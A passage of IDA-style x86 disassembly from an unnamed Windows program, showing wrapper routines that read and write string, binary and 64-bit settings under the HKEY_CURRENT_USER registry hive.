0FFFFFFFFh push offset loc_412252 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov [ebp-10h], ecx mov ecx, [ebp-10h] call sub_407FC0 mov dword ptr [ebp-4], 0 mov ecx, [ebp-10h] add ecx, 10h call sub_41151E mov byte ptr [ebp-4], 1 mov ecx, [ebp-10h] add ecx, 14h call sub_41151E mov byte ptr [ebp-4], 2 push offset dword_419C50 mov ecx, [ebp-10h] add ecx, 10h call sub_41150C push offset dword_419C54 mov ecx, [ebp-10h] add ecx, 14h call sub_41150C push offset dword_419C58 mov ecx, [ebp-10h] add ecx, 8 call sub_41150C mov eax, [ebp-10h] mov dword ptr [eax], 80000001h mov ecx, [ebp-10h] mov dword ptr [ecx+18h], 0 mov edx, [ebp-10h] mov dword ptr [edx+1Ch], 0 mov dword ptr [ebp-4], 0FFFFFFFFh mov eax, [ebp-10h] mov ecx, [ebp-0Ch] mov large fs:0, ecx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40671B proc near ; CODE XREF: sub_403488+175p ; sub_403488+296p ... var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_40671B mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 20h push esi mov [ebp+var_1C], ecx mov [ebp+var_4], 1 mov ecx, [ebp+var_1C] call sub_407FC0 mov byte ptr [ebp+var_4], 2 mov ecx, [ebp+var_1C] add ecx, 10h call sub_41151E mov byte ptr [ebp+var_4], 3 mov ecx, [ebp+var_1C] add ecx, 14h call sub_41151E mov byte ptr [ebp+var_4], 4 push offset dword_419C5C mov ecx, [ebp+var_1C] add ecx, 10h call sub_41150C lea eax, [ebp+arg_4] push eax mov ecx, [ebp+var_1C] add ecx, 14h call sub_411518 mov ecx, [ebp+var_1C] mov edx, [ebp+arg_8] mov [ecx+1Ch], edx mov eax, [ebp+var_1C] mov ecx, [ebp+arg_C] mov [eax], ecx mov edx, [ebp+var_1C] mov dword ptr [edx+18h], 0 push offset asc_4174D8 ; "\\" lea ecx, [ebp+arg_0] call sub_411566 push 5Ch lea ecx, [ebp+arg_0] call sub_411536 push eax lea eax, [ebp+var_10] push eax lea ecx, [ebp+arg_0] call sub_411530 mov [ebp+var_20], eax mov ecx, [ebp+var_20] mov [ebp+var_24], ecx mov byte ptr [ebp+var_4], 5 mov edx, [ebp+var_24] push edx mov ecx, [ebp+var_1C] add ecx, 0Ch call sub_411518 mov byte ptr [ebp+var_4], 4 lea ecx, [ebp+var_10] call sub_411512 push offset asc_4174DC ; "\\" mov ecx, [ebp+var_1C] add ecx, 0Ch call sub_411560 lea ecx, [ebp+arg_0] call sub_408070 mov esi, eax push 5Ch lea ecx, [ebp+arg_0] call sub_411536 sub esi, eax push esi lea eax, [ebp+var_14] push eax lea ecx, [ebp+arg_0] call sub_41155A mov [ebp+var_28], eax mov ecx, [ebp+var_28] mov [ebp+var_2C], ecx mov byte ptr [ebp+var_4], 6 mov edx, [ebp+var_2C] push edx mov ecx, [ebp+var_1C] add ecx, 8 call sub_411518 mov byte ptr [ebp+var_4], 4 lea ecx, [ebp+var_14] call sub_411512 push offset asc_4174E0 ; "\\" mov ecx, [ebp+var_1C] add ecx, 8 call sub_411566 push offset asc_4174E4 ; "\\" mov ecx, [ebp+var_1C] add ecx, 8 call sub_411560 lea eax, [ebp+var_18] push eax mov ecx, [ebp+var_1C] call sub_406909 lea ecx, [ebp+var_18] call sub_411512 mov byte ptr [ebp+var_4], 0 lea ecx, [ebp+arg_0] call sub_411512 mov [ebp+var_4], 0FFFFFFFFh lea ecx, [ebp+arg_4] call sub_411512 mov eax, [ebp+var_1C] mov ecx, [ebp+var_C] mov large fs:0, ecx pop esi mov esp, ebp pop ebp retn 10h sub_40671B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4068AF proc near ; CODE XREF: sub_403488+1A5p ; sub_403488+2C6p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_4068AF mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov [ebp+var_10], ecx mov [ebp+var_4], 1 mov ecx, [ebp+var_10] add ecx, 14h call sub_411512 mov byte ptr [ebp+var_4], 0 mov ecx, [ebp+var_10] add ecx, 10h call sub_411512 mov [ebp+var_4], 0FFFFFFFFh mov ecx, [ebp+var_10] call sub_408020 mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn sub_4068AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406909 proc near ; CODE XREF: sub_40671B+158p ; sub_406B4C+45p var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_406909 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 2Ch mov [ebp+var_30], ecx mov [ebp+var_2C], 0 mov eax, [ebp+var_30] add eax, 4 push eax push 20019h push 0 mov ecx, [ebp+var_30] add ecx, 0Ch call sub_4026A0 push eax mov ecx, [ebp+var_30] mov edx, [ecx] push edx call dword_413004 ; RegOpenKeyExA test eax, eax jnz loc_406A88 mov [ebp+var_10], 0 lea eax, [ebp+var_10] push eax push 0 lea ecx, [ebp+var_18] push ecx push 0 mov ecx, [ebp+var_30] add ecx, 8 call sub_4026A0 push eax mov edx, [ebp+var_30] mov eax, [edx+4] push eax call dword_413010 ; RegQueryValueExA mov ecx, [ebp+var_10] push ecx call sub_4114F4 add esp, 4 mov [ebp+var_1C], eax mov edx, [ebp+var_1C] mov [ebp+var_14], edx lea eax, [ebp+var_10] push eax mov ecx, [ebp+var_14] push ecx lea edx, [ebp+var_18] push edx push 0 mov ecx, [ebp+var_30] add ecx, 8 call sub_4026A0 push eax mov eax, [ebp+var_30] mov ecx, [eax+4] push ecx call dword_413010 ; RegQueryValueExA test eax, eax jnz loc_406A4C mov edx, [ebp+var_14] push edx lea ecx, [ebp+var_20] call sub_4114FA mov [ebp+var_34], eax mov eax, [ebp+var_34] mov [ebp+var_38], eax mov [ebp+var_4], 0 mov ecx, [ebp+var_38] push ecx mov ecx, [ebp+var_30] add ecx, 10h call sub_411518 mov [ebp+var_4], 0FFFFFFFFh lea ecx, [ebp+var_20] call sub_411512 mov edx, [ebp+var_14] mov [ebp+var_24], edx mov eax, [ebp+var_24] push eax call sub_4114EE add esp, 4 mov ecx, [ebp+var_30] mov dword ptr [ecx+18h], 1 mov edx, [ebp+var_30] mov eax, [edx+4] push eax call dword_413000 ; RegCloseKey mov ecx, [ebp+var_30] add ecx, 10h push ecx mov ecx, [ebp+arg_0] call sub_411506 mov edx, [ebp+var_2C] or edx, 1 mov [ebp+var_2C], edx mov eax, [ebp+arg_0] jmp short loc_406AA3 ; --------------------------------------------------------------------------- loc_406A4C: ; CODE XREF: sub_406909+BDj mov eax, [ebp+var_14] mov [ebp+var_28], eax mov ecx, [ebp+var_28] push ecx call sub_4114EE add esp, 4 mov edx, [ebp+var_30] mov eax, [edx+4] push eax call dword_413000 ; RegCloseKey mov ecx, [ebp+var_30] add ecx, 14h push ecx mov ecx, [ebp+arg_0] call sub_411506 mov edx, [ebp+var_2C] or edx, 1 mov [ebp+var_2C], edx mov eax, [ebp+arg_0] jmp short loc_406AA3 ; --------------------------------------------------------------------------- loc_406A88: ; CODE XREF: sub_406909+4Dj mov eax, [ebp+var_30] add eax, 14h push eax mov ecx, [ebp+arg_0] call sub_411506 mov ecx, [ebp+var_2C] or ecx, 1 mov [ebp+var_2C], ecx mov eax, [ebp+arg_0] loc_406AA3: ; CODE XREF: sub_406909+141j ; sub_406909+17Dj mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn 4 sub_406909 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406AB3 proc near ; CODE XREF: sub_406BA8+73p var_8 = dword ptr -8 var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], ecx lea eax, [ebp+var_4] push eax mov ecx, [ebp+var_8] add ecx, 4 push ecx push 0 push 20006h push 0 push offset dword_419C60 push 0 mov ecx, [ebp+var_8] add ecx, 0Ch call sub_4026A0 push eax mov edx, [ebp+var_8] mov eax, [edx] push eax call dword_41300C ; RegCreateKeyExA test eax, eax jz short loc_406AF5 jmp short loc_406B48 ; --------------------------------------------------------------------------- loc_406AF5: ; CODE XREF: sub_406AB3+3Ej mov ecx, [ebp+var_8] add ecx, 10h call sub_408070 add eax, 1 push eax mov ecx, [ebp+var_8] add ecx, 10h call sub_4026A0 push eax push 1 push 0 mov ecx, [ebp+var_8] add ecx, 8 call sub_4026A0 push eax mov ecx, [ebp+var_8] mov edx, [ecx+4] push edx call dword_413008 ; RegSetValueExA test eax, eax jnz short loc_406B3B mov eax, [ebp+var_8] mov dword ptr [eax+18h], 1 loc_406B3B: ; CODE XREF: sub_406AB3+7Cj mov ecx, [ebp+var_8] mov edx, [ecx+4] push edx call dword_413000 ; RegCloseKey loc_406B48: ; CODE XREF: sub_406AB3+40j mov esp, ebp pop ebp retn sub_406AB3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406B4C proc near ; CODE XREF: sub_404B40+23Dp ; sub_404B40+37Bp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], ecx mov [ebp+var_4], 0 mov eax, [ebp+var_8] cmp dword ptr [eax+18h], 0 jz short loc_406B8A mov ecx, [ebp+var_8] cmp dword ptr [ecx+1Ch], 0 jnz short loc_406B8A mov edx, [ebp+var_8] add edx, 10h push edx mov ecx, [ebp+arg_0] call sub_411506 mov eax, [ebp+var_4] or al, 1 mov [ebp+var_4], eax mov eax, [ebp+arg_0] jmp short loc_406BA2 ; --------------------------------------------------------------------------- loc_406B8A: ; CODE XREF: sub_406B4C+17j ; sub_406B4C+20j mov ecx, [ebp+arg_0] push ecx mov ecx, [ebp+var_8] call sub_406909 mov edx, [ebp+var_4] or edx, 1 mov [ebp+var_4], edx mov eax, [ebp+arg_0] loc_406BA2: ; CODE XREF: sub_406B4C+3Cj mov esp, ebp pop ebp retn 4 sub_406B4C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406BA8 proc near ; CODE XREF: sub_403488+196p ; sub_403488+2B7p ... var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_406BA8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch mov [ebp+var_18], ecx mov [ebp+var_4], 0 mov eax, [ebp+var_18] add eax, 10h push eax lea ecx, [ebp+arg_0] push ecx call sub_4080B0 and eax, 0FFh test eax, eax jz short loc_406C09 mov edx, [ebp+var_18] cmp dword ptr [edx+1Ch], 0 jnz short loc_406C09 mov eax, [ebp+var_18] mov [ebp+var_10], eax mov [ebp+var_4], 0FFFFFFFFh lea ecx, [ebp+arg_0] call sub_411512 mov eax, [ebp+var_10] jmp short loc_406C38 ; --------------------------------------------------------------------------- loc_406C09: ; CODE XREF: sub_406BA8+3Cj ; sub_406BA8+45j lea ecx, [ebp+arg_0] push ecx mov ecx, [ebp+var_18] add ecx, 10h call sub_411518 mov ecx, [ebp+var_18] call sub_406AB3 mov edx, [ebp+var_18] mov [ebp+var_14], edx mov [ebp+var_4], 0FFFFFFFFh lea ecx, [ebp+arg_0] call sub_411512 mov eax, [ebp+var_14] loc_406C38: ; CODE XREF: sub_406BA8+5Fj mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn 4 sub_406BA8 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset loc_4122F9 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 24h mov [ebp-30h], ecx mov ecx, [ebp-30h] call sub_407FC0 mov dword ptr [ebp-4], 0 mov ecx, [ebp-30h] add ecx, 10h call sub_408170 mov ecx, [ebp-30h] add ecx, 20h call sub_408170 push 0 push 0 push 0 push 0 lea ecx, [ebp-1Ch] call sub_408110 mov ecx, [ebp-30h] add ecx, 10h mov edx, [eax] mov [ecx], edx mov edx, [eax+4] mov [ecx+4], edx mov edx, [eax+8] mov [ecx+8], edx mov eax, [eax+0Ch] mov [ecx+0Ch], eax push 0 push 0 push 0 push 0 lea ecx, [ebp-2Ch] call sub_408110 mov ecx, [ebp-30h] add ecx, 20h mov edx, [eax] mov [ecx], edx mov edx, [eax+4] mov [ecx+4], edx mov edx, [eax+8] mov [ecx+8], edx mov eax, [eax+0Ch] mov [ecx+0Ch], eax push offset dword_419C64 mov ecx, [ebp-30h] add ecx, 8 call sub_41150C mov ecx, [ebp-30h] mov dword ptr [ecx], 80000001h mov edx, [ebp-30h] mov dword ptr [edx+30h], 0 mov eax, [ebp-30h] mov dword ptr [eax+34h], 0 mov dword ptr [ebp-4], 0FFFFFFFFh mov eax, [ebp-30h] mov ecx, [ebp-0Ch] mov large fs:0, ecx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset loc_412327 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 3Ch push esi mov [ebp-38h], ecx mov dword ptr [ebp-4], 0 mov ecx, [ebp-38h] call sub_407FC0 mov byte ptr [ebp-4], 1 mov ecx, [ebp-38h] add ecx, 10h call sub_408170 mov ecx, [ebp-38h] add ecx, 20h call sub_408170 push 0 push 0 push 0 push 0 lea ecx, [ebp-1Ch] call sub_408110 mov ecx, [ebp-38h] add ecx, 10h mov edx, [eax] mov [ecx], edx mov edx, [eax+4] mov [ecx+4], edx mov edx, [eax+8] mov [ecx+8], edx mov eax, [eax+0Ch] mov [ecx+0Ch], eax mov ecx, [ebp-38h] add ecx, 20h mov edx, [ebp+0Ch] mov [ecx], edx mov eax, [ebp+10h] mov [ecx+4], eax mov edx, [ebp+14h] mov [ecx+8], edx mov eax, [ebp+18h] mov [ecx+0Ch], eax mov ecx, [ebp-38h] mov edx, [ebp+1Ch] mov [ecx+34h], edx mov eax, [ebp-38h] mov ecx, [ebp+20h] mov [eax], ecx mov edx, [ebp-38h] mov dword ptr [edx+30h], 0 push offset asc_4174E8 ; "\\" lea ecx, [ebp+8] call sub_411566 push 5Ch lea ecx, [ebp+8] call sub_411536 push eax lea eax, [ebp-20h] push eax lea ecx, [ebp+8] call sub_411530 mov [ebp-3Ch], eax mov ecx, [ebp-3Ch] mov [ebp-40h], ecx mov byte ptr [ebp-4], 2 mov edx, [ebp-40h] push edx mov ecx, [ebp-38h] add ecx, 0Ch call sub_411518 mov byte ptr [ebp-4], 1 lea ecx, [ebp-20h] call sub_411512 push offset asc_4174EC ; "\\" mov ecx, [ebp-38h] add ecx, 0Ch call sub_411560 lea ecx, [ebp+8] call sub_408070 mov esi, eax push 5Ch lea ecx, [ebp+8] call sub_411536 sub esi, eax push esi lea eax, [ebp-24h] push eax lea ecx, [ebp+8] call sub_41155A mov [ebp-44h], eax mov ecx, [ebp-44h] mov [ebp-48h], ecx mov byte ptr [ebp-4], 3 mov edx, [ebp-48h] push edx mov ecx, [ebp-38h] add ecx, 8 call sub_411518 mov byte ptr [ebp-4], 1 lea ecx, [ebp-24h] call sub_411512 push offset asc_4174F0 ; "\\" mov ecx, [ebp-38h] add ecx, 8 call sub_411566 push offset asc_4174F4 ; "\\" mov ecx, [ebp-38h] add ecx, 8 call sub_411560 lea eax, [ebp-34h] push eax mov ecx, [ebp-38h] call sub_406EDD mov dword ptr [ebp-4], 0FFFFFFFFh lea ecx, [ebp+8] call sub_411512 mov eax, [ebp-38h] mov ecx, [ebp-0Ch] mov large fs:0, ecx pop esi mov esp, ebp pop ebp retn 1Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov ecx, [ebp-4] call sub_408020 mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406EDD proc near ; CODE XREF: HSho:00406EA2p ; HSho:00407132p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2Ch mov [ebp+var_2C], ecx mov eax, [ebp+var_2C] add eax, 4 push eax push 20019h push 0 mov ecx, [ebp+var_2C] add ecx, 0Ch call sub_4026A0 push eax mov ecx, [ebp+var_2C] mov edx, [ecx] push edx call dword_413004 ; RegOpenKeyExA test eax, eax jnz loc_407038 mov [ebp+var_8], 0 lea eax, [ebp+var_8] push eax push 0 lea ecx, [ebp+var_C] push ecx push 0 mov ecx, [ebp+var_2C] add ecx, 8 call sub_4026A0 push eax mov edx, [ebp+var_2C] mov eax, [edx+4] push eax call dword_413010 ; RegQueryValueExA mov ecx, [ebp+var_8] push ecx call sub_4114F4 add esp, 4 mov [ebp+var_10], eax mov edx, [ebp+var_10] mov [ebp+var_4], edx lea eax, [ebp+var_8] push eax mov ecx, [ebp+var_4] push ecx lea edx, [ebp+var_C] push edx push 0 mov ecx, [ebp+var_2C] add ecx, 8 call sub_4026A0 push eax mov eax, [ebp+var_2C] mov ecx, [eax+4] push ecx call dword_413010 ; RegQueryValueExA test eax, eax jnz short loc_406FF5 mov edx, [ebp+var_4] push edx lea ecx, [ebp+var_20] call sub_408150 mov ecx, [ebp+var_2C] add ecx, 10h mov edx, [eax] mov [ecx], edx mov edx, [eax+4] mov [ecx+4], edx mov edx, [eax+8] mov [ecx+8], edx mov eax, [eax+0Ch] mov [ecx+0Ch], eax mov ecx, [ebp+var_4] mov [ebp+var_24], ecx mov edx, [ebp+var_24] push edx call sub_4114EE add esp, 4 mov eax, [ebp+var_2C] mov dword ptr [eax+30h], 1 mov ecx, [ebp+var_2C] mov edx, [ecx+4] push edx call dword_413000 ; RegCloseKey mov eax, [ebp+var_2C] add eax, 10h mov ecx, [ebp+arg_0] mov edx, [eax] mov [ecx], edx mov edx, [eax+4] mov [ecx+4], edx mov edx, [eax+8] mov [ecx+8], edx mov eax, [eax+0Ch] mov [ecx+0Ch], eax mov eax, [ebp+arg_0] jmp short loc_40705A ; --------------------------------------------------------------------------- loc_406FF5: ; CODE XREF: sub_406EDD+A1j mov ecx, [ebp+var_4] mov [ebp+var_28], ecx mov edx, [ebp+var_28] push edx call sub_4114EE add esp, 4 mov eax, [ebp+var_2C] mov ecx, [eax+4] push ecx call dword_413000 ; RegCloseKey mov edx, [ebp+var_2C] add edx, 20h mov eax, [ebp+arg_0] mov ecx, [edx] mov [eax], ecx mov ecx, [edx+4] mov [eax+4], ecx mov ecx, [edx+8] mov [eax+8], ecx mov edx, [edx+0Ch] mov [eax+0Ch], edx mov eax, [ebp+arg_0] jmp short loc_40705A ; --------------------------------------------------------------------------- loc_407038: ; CODE XREF: sub_406EDD+31j mov eax, [ebp+var_2C] add eax, 20h mov ecx, [ebp+arg_0] mov edx, [eax] mov [ecx], edx mov edx, [eax+4] mov [ecx+4], edx mov edx, [eax+8] mov [ecx+8], edx mov eax, [eax+0Ch] mov [ecx+0Ch], eax mov eax, [ebp+arg_0] loc_40705A: ; CODE XREF: sub_406EDD+116j ; sub_406EDD+159j mov esp, ebp pop ebp retn 4 sub_406EDD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407060 proc near ; CODE XREF: HSho:004071A1p var_8 = dword ptr -8 var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], ecx lea eax, [ebp+var_4] push eax mov ecx, [ebp+var_8] add ecx, 4 push ecx push 0 push 20006h push 0 push offset dword_419C68 push 0 mov ecx, [ebp+var_8] add ecx, 0Ch call sub_4026A0 push eax mov edx, [ebp+var_8] mov eax, [edx] push eax call dword_41300C ; RegCreateKeyExA test eax, eax jz short loc_4070A2 jmp short loc_4070E8 ; --------------------------------------------------------------------------- loc_4070A2: ; CODE XREF: sub_407060+3Ej push 10h mov ecx, [ebp+var_8] add ecx, 10h call sub_408170 push eax push 3 push 0 mov ecx, [ebp+var_8] add ecx, 8 call sub_4026A0 push eax mov ecx, [ebp+var_8] mov edx, [ecx+4] push edx call dword_413008 ; RegSetValueExA test eax, eax jnz short loc_4070DB mov eax, [ebp+var_8] mov dword ptr [eax+30h], 1 loc_4070DB: ; CODE XREF: sub_407060+6Fj mov ecx, [ebp+var_8] mov edx, [ecx+4] push edx call dword_413000 ; RegCloseKey loc_4070E8: ; CODE XREF: sub_407060+40j mov esp, ebp pop ebp retn sub_407060 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 14h mov [ebp-14h], ecx mov eax, [ebp-14h] cmp dword ptr [eax+30h], 0 jz short loc_40712B mov ecx, [ebp-14h] cmp dword ptr [ecx+34h], 0 jnz short loc_40712B mov edx, [ebp-14h] add edx, 10h mov eax, [ebp+8] mov ecx, [edx] mov [eax], ecx mov ecx, [edx+4] mov [eax+4], ecx mov ecx, [edx+8] mov [eax+8], ecx mov edx, [edx+0Ch] mov [eax+0Ch], edx mov eax, [ebp+8] jmp short loc_407153 ; --------------------------------------------------------------------------- loc_40712B: ; CODE XREF: HSho:004070FCj ; HSho:00407105j lea eax, [ebp-10h] push eax mov ecx, [ebp-14h] call sub_406EDD mov ecx, [ebp+8] mov edx, [eax] mov [ecx], edx mov edx, [eax+4] mov [ecx+4], edx mov edx, [eax+8] mov [ecx+8], edx mov eax, [eax+0Ch] mov [ecx+0Ch], eax mov eax, [ebp+8] loc_407153: ; CODE XREF: HSho:00407129j mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov eax, [ebp-4] add eax, 10h push eax lea ecx, [ebp+8] call sub_408180 test eax, eax jz short loc_407181 mov ecx, [ebp-4] cmp dword ptr [ecx+34h], 0 jnz short loc_407181 mov eax, [ebp-4] jmp short loc_4071A9 ; --------------------------------------------------------------------------- loc_407181: ; CODE XREF: HSho:00407171j ; HSho:0040717Aj mov edx, [ebp-4] add edx, 10h mov eax, [ebp+8] mov [edx], eax mov ecx, [ebp+0Ch] mov [edx+4], ecx mov eax, [ebp+10h] mov [edx+8], eax mov ecx, [ebp+14h] mov [edx+0Ch], ecx mov ecx, [ebp-4] call sub_407060 mov eax, [ebp-4] loc_4071A9: ; CODE XREF: HSho:0040717Fj mov esp, ebp pop ebp retn 10h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset loc_41233A mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 14h mov [ebp-20h], ecx mov ecx, [ebp-20h] call sub_407FC0 mov dword ptr [ebp-4], 0 mov ecx, [ebp-20h] add ecx, 10h call sub_408170 mov ecx, [ebp-20h] add ecx, 18h call sub_408170 push 0 push 0 lea ecx, [ebp-14h] call sub_4081A0 mov ecx, [eax] mov edx, [eax+4] mov eax, [ebp-20h] mov [eax+10h], ecx mov [eax+14h], edx push 0 push 0 lea ecx, [ebp-1Ch] call sub_4081A0 mov ecx, [eax] mov edx, [eax+4] mov eax, [ebp-20h] mov [eax+18h], ecx mov [eax+1Ch], edx push offset dword_419C6C mov ecx, [ebp-20h] add ecx, 8 call sub_41150C mov ecx, [ebp-20h] mov dword ptr [ecx], 80000001h mov edx, [ebp-20h] mov dword ptr [edx+20h], 0 mov eax, [ebp-20h] mov dword ptr [eax+24h], 0 mov dword ptr [ebp-4], 0FFFFFFFFh mov eax, [ebp-20h] mov ecx, [ebp-0Ch] mov large fs:0, ecx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset loc_412368 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 2Ch push esi mov [ebp-28h], ecx mov dword ptr [ebp-4], 0 mov ecx, [ebp-28h] call sub_407FC0 mov byte ptr [ebp-4], 1 mov ecx, [ebp-28h] add ecx, 10h call sub_408170 mov ecx, [ebp-28h] add ecx, 18h call sub_408170 push 0 push 0 lea ecx, [ebp-14h] call sub_4081A0 mov ecx, [eax] mov edx, [eax+4] mov eax, [ebp-28h] mov [eax+10h], ecx mov [eax+14h], edx mov ecx, [ebp-28h] mov edx, [ebp+0Ch] mov [ecx+18h], edx mov eax, [ebp+10h] mov [ecx+1Ch], eax mov ecx, [ebp-28h] mov edx, [ebp+14h] mov [ecx+24h], edx mov eax, [ebp-28h] mov ecx, [ebp+18h] mov [eax], ecx mov edx, [ebp-28h] mov dword ptr [edx+20h], 0 push offset asc_4174F8 ; "\\" lea ecx, [ebp+8] call sub_411566 push 5Ch lea ecx, [ebp+8] call sub_411536 push eax lea eax, [ebp-18h] push eax lea ecx, [ebp+8] call sub_411530 mov [ebp-2Ch], eax mov ecx, [ebp-2Ch] mov [ebp-30h], ecx mov byte ptr [ebp-4], 2 mov edx, [ebp-30h] push edx mov ecx, [ebp-28h] add ecx, 0Ch call sub_411518 mov byte ptr [ebp-4], 1 lea ecx, [ebp-18h] call sub_411512 push offset asc_4174FC ; "\\" mov ecx, [ebp-28h] add ecx, 0Ch call sub_411560 lea ecx, [ebp+8] call sub_408070 mov esi, eax push 5Ch lea ecx, [ebp+8] call sub_411536 sub esi, eax push esi lea eax, [ebp-1Ch] push eax lea ecx, [ebp+8] call sub_41155A mov [ebp-34h], eax mov ecx, [ebp-34h] mov [ebp-38h], ecx mov byte ptr [ebp-4], 3 mov edx, [ebp-38h] push edx mov ecx, [ebp-28h] add ecx, 8 call sub_411518 mov byte ptr [ebp-4], 1 lea ecx, [ebp-1Ch] call sub_411512 push offset asc_417500 ; "\\" mov ecx, [ebp-28h] add ecx, 8 call sub_411566 push offset asc_417504 ; "\\" mov ecx, [ebp-28h] add ecx, 8 call sub_411560 lea eax, [ebp-24h] push eax mov ecx, [ebp-28h] call sub_407400 mov dword ptr [ebp-4], 0FFFFFFFFh lea ecx, [ebp+8] call sub_411512 mov eax, [ebp-28h] mov ecx, [ebp-0Ch] mov large fs:0, ecx pop esi mov esp, ebp pop ebp retn 14h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov ecx, [ebp-4] call sub_408020 mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407400 proc near ; CODE XREF: HSho:004073C5p ; HSho:00407610p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 24h mov [ebp+var_24], ecx mov eax, [ebp+var_24] add eax, 4 push eax push 20019h push 0 mov ecx, [ebp+var_24] add ecx, 0Ch call sub_4026A0 push eax mov ecx, [ebp+var_24] mov edx, [ecx] push edx call dword_413004 ; RegOpenKeyExA test eax, eax jnz loc_407537 mov [ebp+var_4], 0 lea eax, [ebp+var_4] push eax push 0 lea ecx, [ebp+var_8] push ecx push 0 mov ecx, [ebp+var_24] add ecx, 8 call sub_4026A0 push eax mov edx, [ebp+var_24] mov eax, [edx+4] push eax call dword_413010 ; RegQueryValueExA mov ecx, [ebp+var_4] push ecx call sub_4114F4 add esp, 4 mov [ebp+var_10], eax mov edx, [ebp+var_10] mov [ebp+var_C], edx lea eax, [ebp+var_4] push eax mov ecx, [ebp+var_C] push ecx lea edx, [ebp+var_8] push edx push 0 mov ecx, [ebp+var_24] add ecx, 8 call sub_4026A0 push eax mov eax, [ebp+var_24] mov ecx, [eax+4] push ecx call dword_413010 ; RegQueryValueExA test eax, eax jnz short loc_407502 mov edx, [ebp+var_C] mov eax, [edx+4] push eax mov ecx, [edx] push ecx lea ecx, [ebp+var_18] call sub_4081D0 mov edx, [eax] mov eax, [eax+4] mov ecx, [ebp+var_24] mov [ecx+10h], edx mov [ecx+14h], eax mov edx, [ebp+var_C] mov [ebp+var_1C], edx mov eax, [ebp+var_1C] push eax call sub_4114EE add esp, 4 mov ecx, [ebp+var_24] mov dword ptr [ecx+20h], 1 mov edx, [ebp+var_24] mov eax, [edx+4] push eax call dword_413000 ; RegCloseKey mov ecx, [ebp+var_24] mov edx, [ecx+10h] mov eax, [ecx+14h] mov ecx, [ebp+arg_0] mov [ecx], edx mov [ecx+4], eax mov eax, [ebp+arg_0] jmp short loc_40754B ; --------------------------------------------------------------------------- loc_407502: ; CODE XREF: sub_407400+A1j mov edx, [ebp+var_C] mov [ebp+var_20], edx mov eax, [ebp+var_20] push eax call sub_4114EE add esp, 4 mov ecx, [ebp+var_24] mov edx, [ecx+4] push edx call dword_413000 ; RegCloseKey mov eax, [ebp+var_24] mov ecx, [eax+18h] mov edx, [eax+1Ch] mov eax, [ebp+arg_0] mov [eax], ecx mov [eax+4], edx mov eax, [ebp+arg_0] jmp short loc_40754B ; 